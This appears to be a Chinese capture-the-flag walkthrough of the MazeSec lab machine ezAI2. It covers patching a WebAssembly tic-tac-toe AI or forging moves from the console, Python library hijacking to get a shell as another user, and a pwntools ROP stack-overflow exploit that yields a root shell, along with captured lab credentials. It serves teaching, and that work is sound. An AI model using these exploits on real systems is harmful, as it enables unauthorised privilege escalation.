靶机信息
MazeSec原创靶机 maze-sec.com
作者:Yolo
系统:Linux
难度:Medium
一、信息搜集
这里我们使用rustscan对目标IP 192.168.1.18 进行端口探测,rustscan作为现代端口扫描工具,具备扫描速度快、资源占用低的特点,--ulimit 5000用于提升系统文件描述符限制以支持高效扫描,-sV则用于识别端口对应的服务版本:
❯ rustscan -a 192.168.1.18 --ulimit 5000 -- -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Open ports, closed hearts.
[~] The config file is expected to be at "/home/yolo/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 192.168.1.18:22
Open 192.168.1.18:8080
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV" on ip 192.168.1.18
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-26 18:03 CST
NSE: Loaded 47 scripts for scanning.
Initiating Ping Scan at 18:03
Scanning 192.168.1.18 [2 ports]
Completed Ping Scan at 18:03, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 18:03
Completed Parallel DNS resolution of 1 host. at 18:03, 0.16s elapsed
DNS resolution of 1 IPs took 0.16s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 18:03
Scanning 192.168.1.18 [2 ports]
Discovered open port 8080/tcp on 192.168.1.18
Discovered open port 22/tcp on 192.168.1.18
Completed Connect Scan at 18:03, 0.00s elapsed (2 total ports)
Initiating Service scan at 18:03
Scanning 2 services on 192.168.1.18
Completed Service scan at 18:03, 6.06s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.18.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:03
Completed NSE at 18:03, 0.01s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:03
Completed NSE at 18:03, 0.00s elapsed
Nmap scan report for 192.168.1.18
Host is up, received conn-refused (0.00061s latency).
Scanned at 2026-02-26 18:03:14 CST for 6s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
8080/tcp open http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.37 seconds
扫描结果显示目标开放了22(SSH)和8080(HTTP)两个端口,其中8080端口运行的是基于Go语言的HTTP服务,进一步访问后确认该端口部署了一个井字棋(Tic Tac Toe)游戏应用,这成为我们后续渗透的核心突破口。
二、Tic Tac Toe 游戏突破
2.1 漏洞原理分析
该井字棋游戏的核心机制是:玩家先手、AI后手,且AI采用最优策略(几乎无法战胜)。通过审计前端代码发现,游戏逻辑由Go编译的WebAssembly(Wasm)模块在本地浏览器端执行(而非服务端),这是关键漏洞点——本地执行的代码可被篡改,从而修改AI的决策逻辑。
首先看Wasm模块的初始化代码,wasm_exec.js是Go官方提供的适配层,用于让Go编译的Wasm模块在JS环境中运行:
// Wasm模块初始化核心代码
async function init() {
const result = await WebAssembly.instantiateStreaming(fetch("main.wasm"), go.importObject);
go.run(result.instance);
const resp = await fetch("/init");
const data = await resp.json();
sessionID = data.session_id;
document.getElementById('sid').innerText = sessionID;
// 初始化Wasm游戏状态
initGame(sessionID, data.seed);
// 启用玩家回合
isPlayerTurn = true;
document.getElementById('status').innerText = "YOUR TURN (X)";
}
2.2 方法一:篡改Wasm模块修改AI策略
2.2.1 反编译Wasm文件
首先使用wasm2wat工具将二进制格式的Wasm文件转换为文本格式(WAT),便于逆向分析和修改:
❯ wasm2wat main.wasm -o main.wat
工具链接:https://github.com/WebAssembly/wabt
2.2.2 定位核心函数
Go编译的Wasm文件中,业务逻辑函数通常以main.为前缀,反编译后可定位到7个核心函数(前面是行数,大家如果都用最新的wasm2wat,反编译出来的信息应该是一样的):
776821 (func $main.main (type 0) (param i32) (result i32)
777515 (func $main.initGame (type 0) (param i32) (result i32)
778097 (func $main.updateProof (type 0) (param i32) (result i32)
778902 (func $main.getCurrentProof (type 0) (param i32) (result i32)
779325 (func $main.getAIMove (type 0) (param i32) (result i32)
779786 (func $main.minimax (type 0) (param i32) (result i32)
780429 (func $main.checkWinner (type 0) (param i32) (result i32)
2.2.3 Minimax算法知识点说明
$main.minimax是AI决策的核心,Minimax(极小极大)算法是博弈论中经典的决策算法,核心逻辑是:
- AI作为“最大化者”,试图选择能让自身得分最高的落子位置;
- 假设玩家作为“最小化者”,会选择对AI最不利的落子位置;
- 通过递归遍历所有可能的棋局,计算每个位置的得分,最终选择最优解。
以下是Minimax算法的伪代码示例,帮助理解核心逻辑:
function minimax(board, depth, isMaximizing):
# 1. 检查胜负状态
winner = checkWinner(board)
# 胜负/平局判定(评分规则)
# AI赢(玩家2): +10 - 步数(鼓励快速获胜)
# 人类赢(玩家1): 步数 - 10(惩罚失败)
# 平局: 0
if winner == AI:
return 10 - depth
if winner == HUMAN:
return depth - 10
if board_is_full():
return 0
# 2. 递归搜索所有可能的落子
if isMaximizing: # AI回合(最大化得分)
bestScore = -10000 # 初始低分,确保首个合法落子能更新
for each cell in board:
if cell is empty:
cell = AI # 模拟落子
score = minimax(board, depth + 1, False)
cell = empty # 撤销落子
bestScore = max(score, bestScore) # 选最高分
return bestScore
else: # 玩家回合(最小化AI得分)
bestScore = 10000 # 初始高分,确保首个合法落子能更新
for each cell in board:
if cell is empty:
cell = HUMAN # 模拟玩家落子
score = minimax(board, depth + 1, True)
cell = empty # 撤销落子
bestScore = min(score, bestScore) # 选最低分
return bestScore
2.2.4 篡改AI策略
AI的最优策略依赖两个关键参数:
- 初始最高分:在780023行定义为
i64.const -10000(AI初始目标是找最高分); - 比较逻辑:在780067行定义为
i64.lt_s(判断新得分是否大于当前最高分)。
要让AI选择最差策略,需修改:
- 初始分数:
i64.const -10000→i64.const 10000(AI初始目标变为找最低分); - 比较逻辑:
i64.lt_s→i64.gt_s(判断新得分是否小于当前最低分)。
修改位置参考下图断点标注区域:

2.2.5 重新编译Wasm文件
修改完成后,使用wat2wasm将WAT文件编译回二进制Wasm文件:
❯ wat2wasm ./main.wat -o main_patched.wasm
编译过程如下图所示:

2.2.6 本地替换验证
在浏览器开发者工具(DevTools)的「源代码」面板中启用「本地替换」功能,将修改后的main_patched.wasm替换原文件,刷新页面后AI策略失效,随意落子即可获胜,最终获取用户凭据:ttt:1q2w3e4r@Dashazi。
2.3 方法二:动态调试篡改Wasm内存
该方法利用WebAssembly与JavaScript共享内存的特性,直接篡改游戏内存中的落子记录,绕过AI的Minimax策略(本质是替AI落子,让玩家直接获胜)。
2.3.1 核心原理
Wasm与JS运行在同一内存空间,可通过JS直接修改Wasm中的棋盘状态和落子记录,同时调用updateProof生成合法的证明值(服务端仅校验证明值合法性,不校验落子来源)。
2.3.2 利用脚本(exp.js)
在浏览器控制台执行以下脚本,直接伪造获胜的落子序列:
(async () => {
await new Promise(r => setTimeout(r, 1000));
const wasmInstance = go._inst;
if (!wasmInstance) {
console.error("[!] Wasm instance not found. Make sure the game is loaded.");
return;
}
const mem = new Uint8Array(wasmInstance.exports.mem.buffer);
console.log("[*] Memory size:", mem.length);
board = [0, 0, 0, 0, 0, 0, 0, 0, 0];
moves = [];
gameOver = false;
isPlayerTurn = true;
const winningMoves = [
{ pos: 0, player: 1 },
{ pos: 1, player: 2 },
{ pos: 4, player: 1 },
{ pos: 3, player: 2 },
{ pos: 6, player: 1 },
{ pos: 5, player: 2 },
{ pos: 2, player: 1 }
];
for (let i = 0; i < winningMoves.length; i++) {
const move = winningMoves[i];
board[move.pos] = move.player;
moves.push(move.pos);
updateProof(move.pos, i);
console.log(`[*] Move ${i + 1}: Player ${move.player} at position ${move.pos}`);
}
updateUI();
console.log("[*] Final board state:", board);
console.log("[*] Moves sequence:", moves);
if (checkWin(1)) {
console.log("[+] Win condition detected!");
console.log("[*] Triggering win handler...");
await handleWin();
} else {
console.error("[!] Win condition not met. Something went wrong.");
}
})();
2.3.3 执行流程可视化
以下流程图清晰展示了脚本的执行逻辑:
2.3.4 执行效果
脚本执行后,控制台输出自定义的获胜棋谱,如下图所示:

2.4 其他可行方法
除上述两种核心方法外,还有多种进阶思路(难度更高):
- 逆向Proof算法:彻底反编译Wasm,还原
updateProof的计算逻辑,直接生成合法的棋谱和证明值; - 模拟Flag获取逻辑:反编译Wasm后,模拟服务端的Flag校验流程,直接计算出Flag;
- 复用AI的Proof值:劫持AI生成的Proof值并提交(该方法在本题中被禁用,但同类场景可复用)。
参考资料:作者此前分析的同类题目(Pragyan CTF):https://yo1o.top/post/pragyan-ctf/#tac-tic-toe
三、提权至yolo用户
3.1 获取ttt用户权限
通过破解井字棋游戏,拿到ttt用户的登录凭据:ttt:1q2w3e4r@Dashazi,登录后直接读取用户Flag:
ttt@ezAI2:~$ cat user.txt
flag{7f0a4a443fbb44179219......}
3.2 分析sudo权限
查看ttt用户的sudo权限,发现可无密码以yolo用户身份执行/opt/greeting.py:
ttt@ezAI2:~$ sudo -l
Matching Defaults entries for ttt on ezAI2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ttt may run the following commands on ezAI2:
(yolo) NOPASSWD: /usr/bin/python3 /opt/greeting.py
3.3 Python库劫持提权
3.3.1 提权原理
Python库劫持(Library Hijacking)是常见的提权手法:当Python脚本import模块时,会优先从当前目录加载模块,而非系统默认路径。若目标脚本导入了datetime等系统模块,且当前目录可写,即可创建同名恶意模块实现提权。
3.3.2 检查文件权限
ttt@ezAI2:/opt$ ls -la
total 16
drwxrwxrwt 3 root root 4096 Feb 26 02:08 .
drwxr-xr-x 18 root root 4096 Mar 18 2025 ..
drwxr-xr-x 3 www-data www-data 4096 Feb 26 01:13 challenge
-rw-r--r-- 1 yolo yolo 2837 Feb 26 01:57 greeting.py
/opt目录为rwxrwxrwt权限(任意用户可写),但greeting.py仅yolo用户可修改,因此选择库劫持而非文件篡改。
3.3.3 构造恶意模块
greeting.py首行是import datetime,因此在/opt目录创建datetime.py,写入恶意代码:
ttt@ezAI2:/opt$ nano datetime.py
ttt@ezAI2:/opt$ cat datetime.py
import os
os.system('/bin/sh')
3.3.4 执行提权
以yolo用户身份执行greeting.py,触发库劫持并获取yolo用户shell:
ttt@ezAI2:/opt$ sudo -u yolo /usr/bin/python3 /opt/greeting.py
$ id
uid=1001(yolo) gid=1001(yolo) groups=1001(yolo)
$
知识点补充:Python库加载优先级
- 内置模块(如
sys、os);- 当前执行目录(
./);PYTHONPATH环境变量指定的路径;- 系统默认库路径(如
/usr/lib/python3.x/)。
四、提权至root用户
4.1 发现漏洞程序
切换到yolo用户家目录,发现一个属主为root、属组为yolo的ELF可执行文件waityou:
yolo@ezAI2:~$ ls -la
total 40
drwxr-xr-x 2 yolo yolo 4096 Feb 26 02:41 .
drwxr-xr-x 4 root root 4096 Feb 26 01:39 ..
-rw-r--r-- 1 yolo yolo 220 Apr 18 2019 .bash_logout
-rw-r--r-- 1 yolo yolo 3593 Feb 26 02:40 .bashrc
-rw-r--r-- 1 yolo yolo 807 Apr 18 2019 .profile
-rwxr-x--- 1 root yolo 17584 Feb 26 02:19 waityou
yolo@ezAI2:~$ file waityou
waityou: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1c2594cd6ab581fe9845ca56e3aa383739113557, for GNU/Linux 3.2.0, not stripped
执行该程序时提示端口被占用,查看端口和进程发现waityou已被root用户启动,监听本地9999端口:
yolo@ezAI2:~$ ./waityou
bind: Address already in use
yolo@ezAI2:~$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 20 127.0.0.1:9999 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 *:8080 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
yolo@ezAI2:~$ ps aux | grep waityou
root 337 0.0 0.0 2228 556 ? Ss 10:02 0:00 /home/yolo/waityou
yolo 966 0.0 0.0 6176 640 pts/0 S+ 12:36 0:00 grep waityou
4.2 端口转发(无nc环境)
靶机未安装nc,需通过端口转发访问本地9999端口,这里提供两种方法:
方法1:SSH隧道
本地执行SSH命令,将靶机9999端口映射到本地8888端口:
❯ ssh -L 8888:127.0.0.1:9999 yolo@192.168.1.18 -i ezai
新开终端连接本地8888端口:
❯ nc 127.0.0.1 8888
>>> Initializing romantic link...
>>> [LOG] 「私、幸せになる勇気がなかったの。」
>>> Enter Access Code: aaaaaa
Ncat: Broken pipe.
方法2:Chisel端口转发
Chisel是跨平台的端口转发工具,适用于无SSH隧道的场景:
# 靶机启动Chisel服务端
yolo@ezAI2:~$ ./chisel server -p 8000
2026/02/26 12:19:29 server: Fingerprint eiUOND5HyJVM/uxS5I/ceKLcAT+UeMCDBtVFVGa2srg=
2026/02/26 12:19:29 server: Listening on http://0.0.0.0:8000
# 本地启动Chisel客户端,映射靶机9999端口到本地8887端口
❯ ./chisel client 192.168.1.18:8000 8887:127.0.0.1:9999
2026/02/27 01:20:34 client: Connecting to ws://192.168.1.18:8000
2026/02/27 01:20:34 client: tun: proxy#8887=>9999: Listening
2026/02/27 01:20:34 client: Connected (Latency 691.265µs)
# 本地连接转发后的端口
❯ nc 127.0.0.1 8887
>>> Initializing romantic link...
>>> [LOG] 「私、幸せになる勇気がなかったの。」
>>> Enter Access Code:
4.3 逆向分析漏洞
4.3.1 程序功能
waityou是一个TCP服务端程序,核心逻辑:
- 创建socket,监听本地9999端口;
- 接受客户端连接,为每个连接创建子进程处理;
- 子进程调用
vuln函数处理用户输入。

4.3.2 漏洞函数(vuln)
逆向得到vuln函数的C伪代码:
ssize_t __fastcall vuln(int a1)
{
int v1; // eax
_QWORD v3[6]; // [rsp+10h] [rbp-70h]
_BYTE buf[64]; // [rsp+40h] [rbp-40h] BYREF
dup2(a1, 0);
dup2(a1, 1);
dup2(a1, 2);
v3[0] = &unk_402008;
v3[1] = &unk_402040;
v3[2] = &unk_4020A0;
v3[3] = &unk_402100;
v3[4] = &unk_402140;
puts(">>> Initializing romantic link...");
v1 = rand();
printf(">>> %s", (const char *)v3[v1 % 5]);
printf(">>> Enter Access Code: ");
fflush(stdout);
return read(0, buf, 256u); // 缓冲区溢出核心点
}
漏洞核心:buf缓冲区仅64字节(0x40),但read函数读取256字节输入,导致栈缓冲区溢出。
4.3.3 安全检查
使用checksec检查程序保护机制:
❯ checksec waityou
[*] '/home/yolo/timus/waityou'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
关键结论:
- 无栈金丝雀(Stack Canary):可直接溢出返回地址;
- 无PIE:程序地址固定,无需泄露基址;
- NX开启:栈不可执行,需用ROP(Return-Oriented Programming)绕过。
4.4 ROP链构造
ROP(返回导向编程)是利用程序中已有的指令片段(Gadget)拼接成攻击逻辑的技术,核心是通过溢出覆盖返回地址,跳转到Gadget执行。
4.4.1 关键Gadget与地址
- “/bin/sh” 字符串地址:逆向发现
hints变量定义为:char hints[] = "sh\0may be she is wait for you!!!";,由于C语言以\0为字符串结束符,hints实际指向"sh",地址为0x4040E0。

- pop rdi; ret Gadget:用于将参数存入RDI寄存器(64位Linux下函数参数优先通过寄存器传递,system函数的第一个参数存在RDI中):
❯ ROPgadget --binary waityou | grep "pop rdi ; ret"
0x0000000000401246 : pop rdi ; ret
- system函数地址:PLT(过程链接表)中的system函数地址:
❯ objdump -d waityou | grep "system@plt"
0000000000401050 <system@plt>:
- ret Gadget(栈对齐):64位系统要求栈地址16字节对齐,需额外的
ret指令调整栈:
❯ ROPgadget --binary waityou | grep " : ret$"
0x0000000000401016 : ret
4.4.2 溢出偏移计算
vuln函数中buf位于[rbp-0x40],因此:
buf到rbp的偏移:0x40(64字节);- rbp本身占用:8字节;
- 总填充长度(padding):64+8=72字节。
4.4.3 ROP链逻辑
padding(72字节) + ret(栈对齐) + pop rdi; ret + sh地址(0x4040E0) + system地址(0x401050)
执行流程:
- 溢出覆盖返回地址为
ret(0x401016),调整栈对齐; - 跳转到
pop rdi; ret,将栈顶的0x4040E0弹出到RDI; - 跳转到
system函数,执行system("sh")获取root shell。
4.5 攻击脚本
from pwn import *
HOST = "127.0.0.1"
PORT = 8888
context.arch = "amd64"
context.os = "linux"
context.log_level = "info"
# 关键地址
POP_RDI_RET = 0x401246
SYSTEM_PLT = 0x401050
HINTS_ADDR = 0x4040e0
RET_GADGET = 0x401016
# 溢出偏移
OFFSET = 72
def build_payload() -> bytes:
padding = b"A" * OFFSET
rop_chain = flat(
RET_GADGET, # 栈对齐
POP_RDI_RET, # 弹出参数到RDI
HINTS_ADDR, # "sh"字符串地址
SYSTEM_PLT # 调用system
)
return padding + rop_chain
def pwn():
payload = build_payload()
log.info(f"Connecting to {HOST}:{PORT} ...")
io = remote(HOST, PORT)
io.recvuntil(b"Enter Access Code: ")
log.info(f"Sending payload ({len(payload)} bytes) ...")
io.send(payload)
log.success("Successfully!!!")
io.interactive()
if __name__ == "__main__":
pwn()
4.6 执行脚本获取root权限
❯ python exp.py
[*] Connecting to 127.0.0.1:8888 ...
[+] Opening connection to 127.0.0.1 on port 8888: Done
[*] Sending payload (104 bytes) ...
[+] Successfully!!!
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /root/root.txt
flag{4c00347e1f124840bc0a0.......}
五、总结
- WebAssembly本地执行漏洞:本地运行的Wasm模块可被篡改,核心是修改AI的Minimax算法参数或直接篡改内存,绕过服务端校验;
- Python库劫持提权:利用Python模块加载优先级,在可写目录创建同名模块,劫持系统库实现提权;
- ROP链栈溢出提权:64位程序栈溢出需关注寄存器传参规则和栈对齐要求,利用ROP Gadget拼接攻击逻辑,实现无NX绕过的root权限获取。
整个渗透流程覆盖了前端漏洞利用、权限提升、二进制漏洞挖掘与利用,核心思路是从信息搜集到逐层突破,利用目标系统的配置缺陷和程序漏洞实现全权限控制。
跳到内容